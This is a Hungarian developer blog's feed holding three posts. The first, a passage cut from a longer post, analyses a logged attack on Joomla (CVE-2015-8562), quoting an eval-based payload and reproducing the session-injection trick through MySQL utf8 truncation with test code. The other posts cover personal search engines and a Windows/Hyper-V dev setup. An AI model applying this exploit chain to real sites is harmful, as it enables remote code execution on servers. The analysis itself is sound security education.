<p>A <code>J</code>-vel kezdődő osztály nevekből ki lehet deríteni, hogy <a href="https://www.joomla.org/">Joomla</a>-ról van szó. További keresgéléssel <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-8562">a konkrét sebezhetőséget is meg lehet találni</a>, amiből kiderül a pontos verzió is. Így már meg tudjuk nézni, hogy mi történik a kódban. A <a href="https://github.com/joomla/joomla-cms/blob/3.4.5/libraries/joomla/database/driver/mysqli.php#L199"><code>JDatabaseDriverMysqli</code> releváns része</a>:</p>
<pre><code class="hljs php"><span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__destruct</span><span class="hljs-params">()</span>
</span>{
    <span class="hljs-keyword">$this</span>-&gt;disconnect();
}

<span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">disconnect</span><span class="hljs-params">()</span>
</span>{
    <span class="hljs-keyword">if</span> (<span class="hljs-keyword">$this</span>-&gt;connection)
    {
        <span class="hljs-keyword">foreach</span> (<span class="hljs-keyword">$this</span>-&gt;disconnectHandlers <span class="hljs-keyword">as</span> $h)
        {
            call_user_func_array($h, <span class="hljs-keyword">array</span>( &amp;<span class="hljs-keyword">$this</span>));
        }

        mysqli_close(<span class="hljs-keyword">$this</span>-&gt;connection);
    }

    <span class="hljs-keyword">$this</span>-&gt;connection = <span class="hljs-keyword">null</span>;
}
</code></pre>
<p>Az objektum megszűnése előtt lefut a <code>disconnect</code>, ami meghívja az összes disconnect handler-t, esetünkben a gyanús <a href="https://github.com/joomla/joomla-cms/blob/3.4.5/libraries/simplepie/simplepie.php#L1504"><code>SimplePie</code> példányunk <code>init</code> metódusát</a>:</p>
<pre><code class="hljs php"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">init</span><span class="hljs-params">()</span>
</span>{
    <span class="hljs-comment">// ...</span>

    $cache = call_user_func(
        <span class="hljs-keyword">array</span>(<span class="hljs-keyword">$this</span>-&gt;cache_class, <span class="hljs-string">'create'</span>),
        <span class="hljs-keyword">$this</span>-&gt;cache_location,
        call_user_func(<span class="hljs-keyword">$this</span>-&gt;cache_name_function, <span class="hljs-keyword">$this</span>-&gt;feed_url),
        <span class="hljs-string">'spc'</span>
    );

    <span class="hljs-comment">// ...</span>
}
</code></pre>
<p>A számunkra érdekesnek tűnő rész az, hogy a <code>cache_name_function</code> meghívódik és a <code>feed_url</code>-t kapja meg paraméterként. A user agent-ben lévő adatokkal ez a következő hívást jelenti:</p>
<pre><code class="hljs php">call_user_func(<span class="hljs-string">'assert'</span>, <span class="hljs-string">'eval($_REQUEST[1]);JFactory::getConfig();exit;'</span>);
</code></pre>
<p>Elég régi ez a sebezhetőség, úgyhogy a kód az <code>assert</code> függvény PHP 8.0.0 előtti működésére támaszkodik, amikor még egy string-et várt első paraméternek, amit lefuttatott és kiértékelt. Ez a hívás tehát végrehajtaná a GET paraméterben kapott PHP kódot.</p>
<p>Sikerült megfejteni a log sort, itt az ideje összefoglalni, hogy mire is jutottunk:</p>
<ul>
<li>GET paraméterben kapunk egy PHP kódot, ami ha lefut, létrehoz egy remote shell-t</li>
<li>a user agent-ben egy injection-nek tűnő dolog van, ami egy új változót csinál a session-ben</li>
<li>az új változó egy olyan gondosan összeállított objektum struktúra, ami az objektum megszűnése esetén lefuttatja a GET paraméterben kapott PHP kódot</li>
</ul>
<p>A Joomla <a href="https://github.com/joomla/joomla-cms/blob/3.4.5/libraries/joomla/session/session.php#L1017">egy ponton tényleg belerakja a user agent-et a session-be</a>. Konfigurációtól függően ez a session sok helyen tárolódhat, de az alap beállítás az, hogy a <a href="https://github.com/joomla/joomla-cms/blob/3.4.5/libraries/joomla/session/storage/database.php#L77">MySQLi driver segítségével lementődik egy MySQL táblába</a>. Egy fontos részlet még itt, hogy a kapcsolódás során <a href="https://github.com/joomla/joomla-cms/blob/3.4.5/libraries/joomla/database/driver/mysqli.php#L675">beállít egy <code>utf8</code>-as karakterkészletet az adatbázis kapcsolaton</a> (és valószínűleg az adatbázisnak és a tábláknak is hasonlóan <code>utf8</code> a karakterkészlete). De hogy lesz ebből injection?</p>
<h3>Furcsa működések</h3>
<p>Két gyanúsítottunk maradt, a PHP session kezelése és a session adatok tárolása MySQL-ben. Kezdjük a PHP-val. Nézzünk meg egy egyszerű példát, hogy a session mentés által is használt <code>session_encode</code> hogyan is működik:</p>
<pre><code class="hljs php">session_start();

$_SESSION[<span class="hljs-string">'foo'</span>] = <span class="hljs-keyword">array</span>();
$_SESSION[<span class="hljs-string">'bar'</span>] = <span class="hljs-string">'something'</span>;

<span class="hljs-keyword">print</span>(session_encode() . <span class="hljs-string">"\n"</span>);
</code></pre>
<pre class="console"><code>$ docker run --rm --volume $(pwd):/app --workdir /app php:5.3.29 php test.php
foo|a:0:{}bar|s:9:&quot;something&quot;;
</code></pre>
<p>Így, hogy már tudjuk, nagyjából hogyan néz ki az elvárt kimenet, próbáljunk meg belevinni az egészbe egy kis huncutságot:</p>
<pre><code class="hljs php">session_start();

$_SESSION[<span class="hljs-string">'foo'</span>] = <span class="hljs-keyword">array</span>();
$_SESSION[<span class="hljs-string">'evil'</span>] = <span class="hljs-string">"}__test|O:8:\"stdClass\":1:{s:4:\"evil\";b:1;}\xF0\x9D\x8C\x86"</span>;
$_SESSION[<span class="hljs-string">'bar'</span>] = <span class="hljs-string">'something'</span>;

<span class="hljs-keyword">print</span>(session_encode() . <span class="hljs-string">"\n"</span>);
</code></pre>
<pre class="console"><code>$ docker run --rm --volume $(pwd):/app --workdir /app php:5.3.29 php test.php
foo|a:0:{}evil|s:46:&quot;}__test|O:8:&quot;stdClass&quot;:1:{s:4:&quot;evil&quot;;b:1;}𝌆&quot;;bar|s:9:&quot;something&quot;;
</code></pre>
<p>Ez eddig nem tűnik túl izgalmasnak, csak stringként oda lett <code>serialize</code>-olva a huncutságunk, a furcsa karaktersorról pedig kiderült, hogy csak egy 4 byte-os UTF-8 karakter. De mi történik akkor, ha megpróbáljuk ezt az adatot visszaolvasni?</p>
<pre><code class="hljs php">$data = session_encode();

$_SESSION = <span class="hljs-keyword">array</span>();
session_decode($data);

var_dump($_SESSION);
</code></pre>
<pre class="console"><code>$ docker run --rm --volume $(pwd):/app --workdir /app php:5.3.29 php test.php
array(3) {
  [&quot;foo&quot;]=&gt;
  array(0) {
  }
  [&quot;evil&quot;]=&gt;
  string(46) &quot;}__test|O:8:&quot;stdClass&quot;:1:{s:4:&quot;evil&quot;;b:1;}𝌆&quot;
  [&quot;bar&quot;]=&gt;
  string(9) &quot;something&quot;
}
</code></pre>
<p>Egyáltalán semmi rendkívüli. Elég kiábrándító. Talán annak a <code>\xF0\x9D\x8C\x86</code> résznek a MySQL-hez van köze. Húzzunk fel egy szervert és nézzük meg.</p>
<pre class="file"><code>docker-compose.yml
</code></pre>
<pre><code class="hljs yaml"><span class="hljs-attr">version:</span> <span class="hljs-string">'3'</span>
<span class="hljs-attr">services:</span>
  <span class="hljs-attr">app:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">php:5.3.29</span>
    <span class="hljs-attr">volumes:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">.:/app</span>
    <span class="hljs-attr">working_dir:</span> <span class="hljs-string">/app</span>
  <span class="hljs-attr">db:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">mysql:5.6.51</span>
    <span class="hljs-attr">environment:</span>
      <span class="hljs-attr">MYSQL_ROOT_PASSWORD:</span> <span class="hljs-string">secret</span>
      <span class="hljs-attr">MYSQL_DATABASE:</span> <span class="hljs-string">test</span>
</code></pre>
<p>A kis teszt script-ünk kapcsolódik az adatbázishoz, beállítja <code>utf8</code>-ra a kapcsolat karakterkészletét, létrehoz egy táblát ugyanazzal a karakterkészlettel és belerak egy sort, aminek a közepén benne van a mi huncut kis bitkolbászunk. Végül pedig vissza is olvassuk ezt az adatot.</p>
<pre><code class="hljs php">$db = <span class="hljs-keyword">new</span> mysqli(<span class="hljs-string">'db'</span>, <span class="hljs-string">'root'</span>, <span class="hljs-string">'secret'</span>, <span class="hljs-string">'test'</span>);
$db-&gt;set_charset(<span class="hljs-string">'utf8'</span>);

$db-&gt;query(<span class="hljs-string">"CREATE TABLE test (id INTEGER NOT NULL AUTO_INCREMENT PRIMARY KEY, data TEXT NOT NULL) CHARACTER SET utf8"</span>);

$stmt = $db-&gt;prepare(<span class="hljs-string">"INSERT INTO test (data) VALUES (?)"</span>);

$data = <span class="hljs-string">"foo\xF0\x9D\x8C\x86bar"</span>;

$stmt-&gt;bind_param(<span class="hljs-string">'s'</span>, $data);
$stmt-&gt;execute();

$result = $db-&gt;query(<span class="hljs-string">"SELECT * FROM test"</span>);
var_dump($result-&gt;fetch_assoc());

$db-&gt;query(<span class="hljs-string">"DROP TABLE test"</span>);
</code></pre>
<pre class="console"><code>$ docker-compose run --rm app php test.php
array(2) {
  [&quot;id&quot;]=&gt;
  string(1) &quot;1&quot;
  [&quot;data&quot;]=&gt;
  string(3) &quot;foo&quot;
}
</code></pre>
<p>Na, végre valami történik. A bitkolbász és az utána lévő rész eltűnt.</p>
<p>A trükk az, hogy az <code>utf8</code> (teljes nevén <code>utf8mb3</code>, azaz <a href="https://dev.mysql.com/doc/refman/5.7/en/charset-unicode-utf8mb3.html">3-Byte UTF-8 Unicode Encoding</a>) nem támogatja a 4 byte-os UTF-8 karaktereket (arra van egy külön <code>utf8mb4</code>), ha ilyennel találkozik, akkor eldobja az adat maradékát és csak az első felét tárolja le.</p>
<p>Nézzük meg mi történik a PHP <code>session_decode</code> környékén, ha szimuláljuk ezt a viselkedést:</p>
<pre><code class="hljs php">$data = session_encode();
$data = substr($data, <span class="hljs-number">0</span>, strpos($data, <span class="hljs-string">"\xF0\x9D\x8C\x86"</span>));

$_SESSION = <span class="hljs-keyword">array</span>();
session_decode($data);

var_dump($_SESSION);
</code></pre>
<pre class="console"><code>$ docker run --rm --volume $(pwd):/app --workdir /app php:5.3.29 php test.php
array(3) {
  [&quot;foo&quot;]=&gt;
  array(0) {
  }
  [&quot;evil&quot;]=&gt;
  NULL
  [&quot;46:&quot;}__test&quot;]=&gt;
  object(stdClass)#1 (1) {
    [&quot;evil&quot;]=&gt;
    bool(true)
  }
}
</code></pre>
<p>Úgy tűnik a PHP elég rosszul kezeli a hiányos session adatokat. Ezzel végre sikerült reprodukálnunk azt a működést, ami végül ahhoz vezet, hogy a feltűnően furcsa HTTP kérés hatására létrejön egy remote shell a szerveren.</p>
<p>Szemfüles olvasók azt is kiszúrhatták, hogy elég régi PHP és MySQL van a példákban használva. Ennek csupán egyetlen oka van. Az, hogy frissebb verziók esetén ez már nem működne.</p>
<p>A huncut kis bitkolbászt tartalmazó sor beszúrása MySQL 5.7.42-ben:</p>
<pre class="console"><code>$ docker-compose run --rm app php test.php
Fatal error: Uncaught exception 'mysqli_sql_exception' with message 'Incorrect string value: '\xF0\x9D\x8C\x86ba...' for column 'data' at row 1' in /app/test.php:14
Stack trace:
#0 /app/test.php(14): mysqli_stmt-&gt;execute()
#1 {main}
  thrown in /app/test.php on line 14
</code></pre>
<p>A levágott végű session adat dekódolása PHP 5.4.45-ben:</p>
<pre class="console"><code>$ docker run --rm --volume $(pwd):/app --workdir /app php:5.4.45 php test.php
Warning: session_decode(): Failed to decode session object. Session has been destroyed in /app/test.php on line 43
array(1) {
  [&quot;foo&quot;]=&gt;
  array(0) {
  }
}
</code></pre>
<h3>Összegzés</h3>
<p>Hosszú volt az út idáig, nézzük át még egyszer, hogy mi is kellett ahhoz, hogy ezt a sebezhetőséget ki lehessen használni:</p>
<ul>
<li>elég régi PHP és MySQL (a sebezhetőség publikálásának idején az 5.4-es PHP és 5.7-es MySQL már évek óta elérhető volt)</li>
<li>a session tárolása MySQL-ben egy <code>utf8</code>-as táblában és <code>utf8</code>-as adatbázis kapcsolattal</li>
<li>felhasználótól származó, nem megbízható adat tárolása session-ben</li>
<li>olyan osztályoknak a megléte a kódban, amit ha nem rendeltetésszerűen kombinálunk össze, akkor végül sikeresen lefuttat egy string-et PHP kódként</li>
</ul>
<p>Mi ebből a tanulság? Nem tudom... ha mindent jól csinálsz, akkor is félremehetnek a dolgok? Mindenesetre jusson eszetekbe ez a kis nyomozás, amikor legközelebb úgy gondoljátok, hogy egy lehetséges sérülékenységet (legyen az akár egy használt library-ben, kedvenc programozási nyelvetek interpreter-ében vagy az adatbázisban) úgyse lehet kihasználni a kódotokból.</p>
<h3>További olvasnivalók</h3>
<ul>
<li><a href="https://websec.files.wordpress.com/2010/11/rips_ccs.pdf">Code Reuse Attacks in PHP: Automated POP Chain Generation</a></li>
<li><a href="https://blog.cloudflare.com/the-joomla-unserialize-vulnerability/">A Different Kind of POP: The Joomla Unserialize Vulnerability</a></li>
<li><a href="https://www.owasp.org/index.php/PHP_Object_Injection">OWASP: PHP Object Injection</a></li>
</ul>

]]></content:encoded>
        </item>
            <item>
            <title>Tű a szénakazalban</title>
            <link>https://deadlime.hu/2023/07/01/tu-a-szenakazalban/</link>
            <pubDate>Sat, 01 Jul 2023 15:04:25 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[keresés]]></category>
                    
            <guid isPermaLink="false">9215f6595f157f5f9c05eefde219ffc1</guid>
            <description>Csak álom-e egy saját kereső?</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2023/crawler.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>Ma egy gondolatkísérletre invitálom meg a kedves olvasókat: mi lenne, ha mindenkinek saját, személyre szabott (akár lokális) keresője lenne, ahelyett, hogy központi szolgáltatókat (DuckDuckGo, Google, Bing és a többiek) kellene használni?</p>
<p>Nyilván adatvédelmi szempontból hatalmas előrelépés, ha nem óriásvállalatok gyűjtenek a világon mindenkiről ki tudja milyen adatokat, amikkel aztán ki tudja mit kezdenek, de vajon technológiailag megoldható?</p>
<h3>A kereső</h3>
<p>Mielőtt belemerülnénk a részletekbe, nagy vonalakban nézzük meg, hogy nagyjából hogyan is épülhet fel egy kereső.</p>
<h4>Letöltés</h4>
<p>Vannak crawler-nek nevezett programok, amik meglátogatnak egy oldalt, lementik a HTML forrását, kigyűjtik belőle a linkeket, azokat az oldalakat is meglátogatják, kigyűjtik belőlük a linkeket és így tovább. A jól viselkedő crawler-ek betartják a <a href="https://en.wikipedia.org/wiki/Robots.txt">robots.txt</a>-ben leírtakat, munkájukat pedig segítheti a <a href="https://en.wikipedia.org/wiki/Sitemaps">sitemap.xml</a>.</p>
<h4>Feldolgozás</h4>
<p>A rengeteg HTML forrásból ki kell nyerni a hasznos adatokat, esetleg valamiféle kontextussal együtt, hogy hol lett megtalálva a szöveg (például az oldal főcíme vagy lábléc szöveg), ami később felhasználható súlyozásra. További metaadatok nyerhetőek ki, ha a weboldal használja az <a href="https://en.wikipedia.org/wiki/Facebook_Platform#Open_Graph_protocol">Open Graph</a>, <a href="https://en.wikipedia.org/wiki/Microformat">Microformats</a> vagy <a href="https://en.wikipedia.org/wiki/Schema.org">Schema.org</a> protokollokat.</p>
<h4>Tárolás</h4>
<p>Itt több változat is lehetséges, attól függően, hogy mennyi adatot vagyunk hajlandóak tárolni. Amit mindenképpen tárolnunk kell, az egy index, ami megmondja, hogy egy szó vagy egy kifejezés melyik oldalon található meg. Ha a találati oldalon meg akarjuk jeleníteni a találat szövegkörnyezetét is, akkor tárolnunk kell a feldolgozás által kinyert adatokat is. Ha lokálisan szeretnénk megmutatni a weboldalt, amiből a találat keletkezett, akkor a teljes HTML oldalra is szükségünk lesz.</p>
<h4>Keresés</h4>
<p>Egy (web)alkalmazás, ami a felhasználó által megadott keresőkifejezést adatbázis lekérdezéssé alakítja és megjeleníti a találatokat.</p>
<h3>Töltsük le az Internetet</h3>
<p>Az első problémánk tehát a crawler. Az Internet szerint nagyjából 400 millió aktív weboldal lehet manapság. Ha mindegyiknek csak 10 oldala van (valószínűleg erős alábecslés), akkor is már 4 milliárd meglátogatandó oldalról beszélünk. Ha minden oldalt 100ms alatt le tudunk tölteni és ki tudjuk nyerni belőle a linkeket (szintén erősen optimista becslés), akkor egy crawler-nek több, mint 12 évébe tartana meglátogatni mindent. Mondjuk ezer párhuzamos crawler már 4-5 nap alatt végezhetne... biztos izgalmas lenne, ha több milliárd ember elkezdene fejenként ezer crawler-t ráküldeni az Internetre, hogy megépítse a saját indexét.</p>
<p>És akkor ez még egy nagyon optimista becslés volt. Hogy mennyire? Gondoljunk csak bele, hogy a k...edves fejlesztők előszeretettel építenek manapság olyan oldalakat, amik (több megabájtnyi) JavaScript letöltése és futtatása nélkül használhatatlanok. Szóval lehet, hogy egy headless böngésző kellene a végleges HTML kinyeréséhez, ami aztán biztos nem fog végezni 100ms alatt. Ez legalább egy (de lehet, hogy inkább két) nagyságrenddel lassabb lenne.</p>
<p>Ekkora adat mennyiségnél a feldolgozás is valószínűleg túl sok idő és erőforrás lenne. Még akkor is, ha mindenhol kézműves gondossággal összerakott, minimalista szerkezetű, szintaktikailag és szemantikailag is helyes HTML oldalak lennének... de nyilván ez nem így van a valóságban. Aztán ott vannak még a SEO ügyeskedések is, mint például a felhasználók számára nem látszódó, de a crawler számára jelen lévő szövegek és hasonló trükkök, amiket jó lenne kiszűrni.</p>
<p>Hasonló problémába ütközünk a tárolás területén is. A Google indexe a saját állítása szerint több, mint 100 000 000 gigabyte méretű. Még ha ennek a nagy részét képek és videók teszik ki, ez azért nem egy olyan nagyságrend, ami kényelmesen elférne egy asztali számítógépen. Szóval úgy tűnik, hogy a négy részből hárommal is (letöltés, feldolgozás, tárolás) gondok vannak. Nem túl jó arány.</p>
<h3>Alternatív megoldások</h3>
<p>A rengeteg crawler okozta túlterhelést meg lehetne úgy oldani, hogy a crawler-ek beszélgethetnének egymás között is, hogy ki hol járt már és mehetne köztük is a csere-bere, bár így hirtelen nem tudom, hogy hogyan lehetne ezt biztonságosan megoldani, hogy egy zsivány crawler ne tudjon megmérgezni hamis információkkal másokat. Az adatmennyiségen viszont ez sem segít.</p>
<p>De tényleg szükségünk van az <em>egész</em> Internetre? Jó eséllyel csak egy-két nyelv érdekel minket a saját anyanyelvünkön kívül és abból sem a teljes felhozatal. Ha valahogy meg lehetne mondani, hogy az Internet melyik egy százaléka érdekel minket, akkor azzal talán működőképes lenne a saját kereső. Beadhatnánk a személyes keresőnknek oldalakat, amiket fontosnak tartunk, aztán a rajtuk található külső hivatkozásokon is végigmehetne, és így tovább. A végén lenne egy nem annyira nagy HTML halmazunk, ami jó eséllyel még elfér a gépünkön.</p>
<p>Végeredményben viszont nem tűnik gazdaságosnak (vagy akár lehetségesnek), hogy mindenki saját crawler-eket futtasson és saját indexet gyártson. Ez viszont még nem feltétlenül jelenti azt, hogy ne lehetne mindenkinek saját példánya az indexből. Lehetne mondjuk valami nyílt index formátum vagy adatbázis szerkezet és bárki publikálhatna saját indexeket.</p>
<p>A lehetőségek száma végtelen, de nézzünk meg pár ötletet kedvcsinálónak:</p>
<ul>
<li>tematikus indexek, például index programozóknak, dokumentációkkal, StackOverflow-val és egyebekkel</li>
<li>nagy oldalak publikálnak saját indexet a tartalmaikról (nem kell hozzájuk crawler, cserébe megbízol bennük, hogy az van az index-ben, ami az oldalon is)</li>
<li>lokáció alapú indexek, ha szeretnéd megtalálni a szombathelyi fagyizókat</li>
<li>cégek, akik fizetős indexeket gyártanak</li>
<li>könyvtárak, állami szervezetek, akik a saját nyelvük tartalmaiból csinálnának indexeket</li>
<li>nonprofit szervezetek indexei, mint mondjuk az archive.org, aminek már egyébként is vannak ilyen adatai</li>
<li>gyakran frissülő hír jellegű indexek</li>
<li>ritkán frissülő enciklopédia jellegű indexek</li>
<li>a szomszéd Józsi indexe, amit a kedvenc weboldalaiból készített</li>
</ul>
<p>A felhasználó pedig betöltheti a személyes keresőjébe a választott indexeket, törölhet belőle olyan részeket, amik számára nem relevánsak, hogy helyet spóroljon, vagy jobb találatokat kapjon. A keresésnél pedig ki lehetne választani, hogy melyik indexekben keressen.</p>
<p>Innentől az index szolgáltató megválasztása határozza meg a találatok minőségét, de gondolom idővel ez kialakulna, hogy mik azok az indexek, amiket érdemes használni, hogyan érdemes őket testre szabni, vagy ha valamelyik index minősége romlik, nem elég friss, akkor lehet új szolgáltatókat keresni. A kicsit hozzáértőbbeknek pedig továbbra is megvan a lehetőségük, hogy saját crawler-t indítsanak és saját indexet építsenek (amit aztán eladhatnak másoknak is).</p>
<p>Magáról a keresésről nem sok szót ejtettünk, de az a rész elég egyértelműnek tűnik. Mivel az index nyílt formátumú, bárki készíthetne rá szoftvereket. Valószínűleg készülne pár remek nyílt forráskódú alternatíva, akár asztali alkalmazásként, akár saját szerverre telepíthető webalkalmazásként. Aztán plugin-ek ezekhez az alkalmazásokhoz, amik számológéppel, valutaváltóval, keresési előzményekkel és ki tudja még mennyi mindennel egészíthetnék ki az alap funkcionalitást.</p>
<h3>Összegzés</h3>
<p>Lenne még itt-ott néhány apróbb ötletem, de nem akartam túl sokat csapongani. Térjünk inkább vissza az eredeti kérdésünkhöz. Csak álom-e egy saját kereső? Ha az egész Interneten szeretnél keresni: igen. A boldogsághoz (vagy egy jól működő keresőhöz) viszont nem biztos, hogy az egész Internetre szükség van. Megfelelő index szolgáltatókkal és a végfelhasználó számára is elfogadható index méretekkel azt hiszem működhetne a dolog.</p>

]]></content:encoded>
        </item>
            <item>
            <title>Az ablakokon túl</title>
            <link>https://deadlime.hu/2023/06/24/az-ablakokon-tul/</link>
            <pubDate>Sat, 24 Jun 2023 14:04:18 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[Docker]]></category>
                    <category><![CDATA[Samba]]></category>
                    <category><![CDATA[GnuPG]]></category>
                    <category><![CDATA[Hyper-V]]></category>
                    <category><![CDATA[Windows]]></category>
                    <category><![CDATA[fejlesztés]]></category>
                    
            <guid isPermaLink="false">ac5b2d72d58d77ad114e2b7d24ea0677</guid>
            <description>Tárlatvezetés a fejlesztői környezetemben</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2023/developers.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>
<p class="image-caption">Web fejlesztők munka közben; Leonardo da Vinci egyik késői munkája</p>

<p>Néha kihalófélben lévő állatfajnak érzem magam a sok harapott alma között, úgyhogy most mesélek egy kicsit arról, hogy Windows-t használó (web)fejlesztőként hogyan is néz ki a fejlesztői környezetem.</p>
<blockquote>
<p><em>Ahogyan a napsugarak lassan áthatolnak a három rétegű edzett üvegen, az egyik legkülönlegesebb lényt figyelhetjük meg az északi félgömbön - a Scriptor fenestralis-t, ismertebb nevén a Windows-os webfejlesztőt.</em><br />
<br />
<em>Természetes élőhelyük a mesterséges világítás és a hűvös hőmérséklet ideális kombinációja, mely optimális környezetet teremt a szellemi kihívásokkal teli munkához.</em></p>
</blockquote>
<p>Röviden és tömören: egy Windows-os host gép, amin egy Debian alapú virtuális gép fut Hyper-V segítségével. Azon belül pedig Docker-t használok a konkrét projektek futtatására. Nem a technológia csúcsa, de még nem szántam rá magam a komolyabb kísérletezgetésre a WSL2-vel. No de lássuk a részleteket.</p>
<h3>A fizikai gép</h3>
<p>Korábban VirtualBox-ot használtam, de aztán váltottam Hyper-V-re, mert az már alapból benne van a Windows-ban, csak be kell kapcsolni. Meg gondoltam, ha már hivatalos megoldás, lehet jobban is működik. Nincsen semmi, amivel ezt alá tudnám támasztani, max. az jut eszembe, hogy a gép indulásával együtt a virtuális gép is elindul, de lehet, hogy VirtualBox-ban is lehetne ilyet csinálni.</p>
<h4>Hálózat</h4>
<p>Ha el akarjuk érni a virtuális gépünket (vagy a virtuális gépünkről az Internetet), akkor be kell állítani neki egy hálózatot. Itt két irányba is mehetünk, használhatunk <code>External switch</code>-et vagy <code>Internal switch</code>-et  (van <code>Private switch</code> is, de az nekünk most nem segít).</p>
<p>Az asztali gépem esetében az <code>External switch</code> opcióval mentem, összekötöttem a hálókártyával, amin kapja a gép az Internetet és ezzel nagyjából meg is volnánk. A router számára úgy látszik a virtuális gép is, mintha egy rendes fizikai gép lenne a hálózaton. A MAC címe alapján adtam neki egy fix IP címet a DHCP szerveren és egy hostot a DNS szerveren, ami erre az IP címre oldódik fel (<code>devbox.lan</code>).</p>
<p>Ez egy ritkán mozgatott asztali gép számára elfogadható megoldás lehet, de mi a helyzet mondjuk egy laptop esetén, ahol nem biztos, hogy hozzáférünk minden router-hez, hogy ezt meg tudjuk oldani? Erre lehet megoldás az <code>Internal switch</code>, amit a következő PowerShell parancsokkal konfiguráltam fel:</p>
<pre><code class="hljs powershell">&gt; <span class="hljs-built_in">New-VMSwitch</span> <span class="hljs-literal">-SwitchName</span> <span class="hljs-string">"Internal"</span> <span class="hljs-literal">-SwitchType</span> Internal
&gt; <span class="hljs-built_in">New-NetIPAddress</span> <span class="hljs-literal">-IPAddress</span> <span class="hljs-number">192.168</span>.<span class="hljs-number">56.1</span> <span class="hljs-literal">-PrefixLength</span> <span class="hljs-number">24</span> <span class="hljs-literal">-DefaultGateway</span> <span class="hljs-number">192.168</span>.<span class="hljs-number">56.1</span> <span class="hljs-literal">-InterfaceAlias</span> <span class="hljs-string">"vEthernet (Internal)"</span>
&gt; <span class="hljs-built_in">New-NetNAT</span> <span class="hljs-literal">-Name</span> <span class="hljs-string">"InternalNatNetwork"</span> <span class="hljs-literal">-InternalIPInterfaceAddressPrefix</span> <span class="hljs-number">192.168</span>.<span class="hljs-number">56.0</span>/<span class="hljs-number">24</span>
</code></pre>
<p>A <code>192.168.56.0/24</code>-es tartományt használjuk, de DHCP híján nem kapunk belőle automatikusan IP címet, úgyhogy a virtuális gépen belül kell egy fix IP címet megadnunk. Debian esetén valahogy így, a <code>/etc/network/interfaces</code> fájlban:</p>
<pre><code class="hljs yaml"><span class="hljs-string">iface</span> <span class="hljs-string">eth0</span> <span class="hljs-string">inet</span> <span class="hljs-string">static</span>
  <span class="hljs-string">address</span> <span class="hljs-number">192.168</span><span class="hljs-number">.56</span><span class="hljs-number">.101</span>
  <span class="hljs-string">netmask</span> <span class="hljs-number">255.255</span><span class="hljs-number">.255</span><span class="hljs-number">.0</span>
  <span class="hljs-string">gateway</span> <span class="hljs-number">192.168</span><span class="hljs-number">.56</span><span class="hljs-number">.1</span>
</code></pre>
<p>Ha pedig host-ot is szeretnénk neki, akkor azt felvehetjük a <code>C:\Windows\System32\drivers\etc\hosts</code> fájlban:</p>
<pre><code>192.168.56.101 devbox.lan
</code></pre>
<p>Néha szükség van rá, hogy a virtuális gép egy portját <code>localhost</code>-on is elérjem (ha valami a virtuális gépen belül a 8080-as porton fut, akkor azt elérjem <code>localhost:8080</code>-on is). Ehhez eleinte a következő PowerShell parancsot használtam:</p>
<pre><code class="hljs powershell">&gt; <span class="hljs-built_in">Add-NetNatStaticMapping</span> <span class="hljs-literal">-NatName</span> <span class="hljs-string">"InternalNatNetwork"</span> <span class="hljs-literal">-Protocol</span> TCP <span class="hljs-literal">-ExternalIPAddress</span> <span class="hljs-number">0.0</span>.<span class="hljs-number">0.0</span> <span class="hljs-literal">-InternalIPAddress</span> <span class="hljs-number">192.168</span>.<span class="hljs-number">56.101</span> <span class="hljs-literal">-InternalPort</span> <span class="hljs-number">8080</span> <span class="hljs-literal">-ExternalPort</span> <span class="hljs-number">8080</span>
</code></pre>
<p>Ez egy idő után elkezdett nem működni. Nem tudom mi történhetett vele, de némi kutakodás után találtam helyette egy másik parancsot.</p>
<pre><code class="hljs powershell">&gt; netsh interface portproxy add v4tov4 listenport=<span class="hljs-number">8080</span> listenaddress=<span class="hljs-number">0.0</span>.<span class="hljs-number">0.0</span> connectport=<span class="hljs-number">8080</span> connectaddress=<span class="hljs-number">192.168</span>.<span class="hljs-number">56.101</span>
</code></pre>
<p>Így utólag belegondolva lehet, hogy egyszerűbb lett volna csak simán SSH port forwarding-ot használni. Micsoda megvilágosodások történnek itt bejegyzés írás közben.</p>
<h4>Ablakos alkalmazások</h4>
<p>A fizikai gépen fut egy <a href="https://sourceforge.net/projects/vcxsrv/">VcXsrv</a>, ami egy Windows-on futó X szerver. A virtuális Linux-on belül indíthatok vele ablakos alkalmazásokat, amiket Windows-os ablakokként lehet használni. Általában az aktuálisan használt IDE ennek a segítségével fut a virtuális gépen belül, mert úgy egyszerűbb elérni benne a Linux-os/Docker-es dolgokat és kevesebb gond van a fájl jogosultságok körül is.</p>
<h4>SSH</h4>
<p>Egy <a href="https://www.yubico.com/products/yubikey-5-overview/">YubiKey</a>-n tárolt GPG kulcsot használok SSH autentikációhoz. A <a href="https://www.gpg4win.org/">Gpg4win</a>-ben lévő GPG agent van felkonfigurálva, hogy egyrészt kezelje a YubiKey-t, másrészt kiajánlja a benne lévő kulcsot az SSH agent-ben:</p>
<pre class="file"><code>scdaemon.conf
</code></pre>
<pre><code>reader-port Yubico Yubi
pcsc-shared
disable-application piv
</code></pre>
<pre class="file"><code>gpg-agent.conf
</code></pre>
<pre><code>enable-ssh-support
enable-putty-support
</code></pre>
<p><a id="cite_ref-1"></a>SSH kliensnek PuTTY van használva (bár a Windows Terminal is egész ígéretes, de legutóbb még nem akart együttműködni a GPG agent-tel) és be van kapcsolva az agent forwarding<a href="#cite_note-1" class="note"><sup>[1]</sup></a>, hogy a virtuális gép is tudja használni a YubiKey-n lévő kulcsot.</p>
<p>Ezen kívül a Linux-os home könyvtáram van felcsatolva hálózati meghajtóként (<code>P:\</code>), hogy egyszerűbb legyen fájlokat mozgatni a két gép között.</p>
<h3>A virtuális gép</h3>
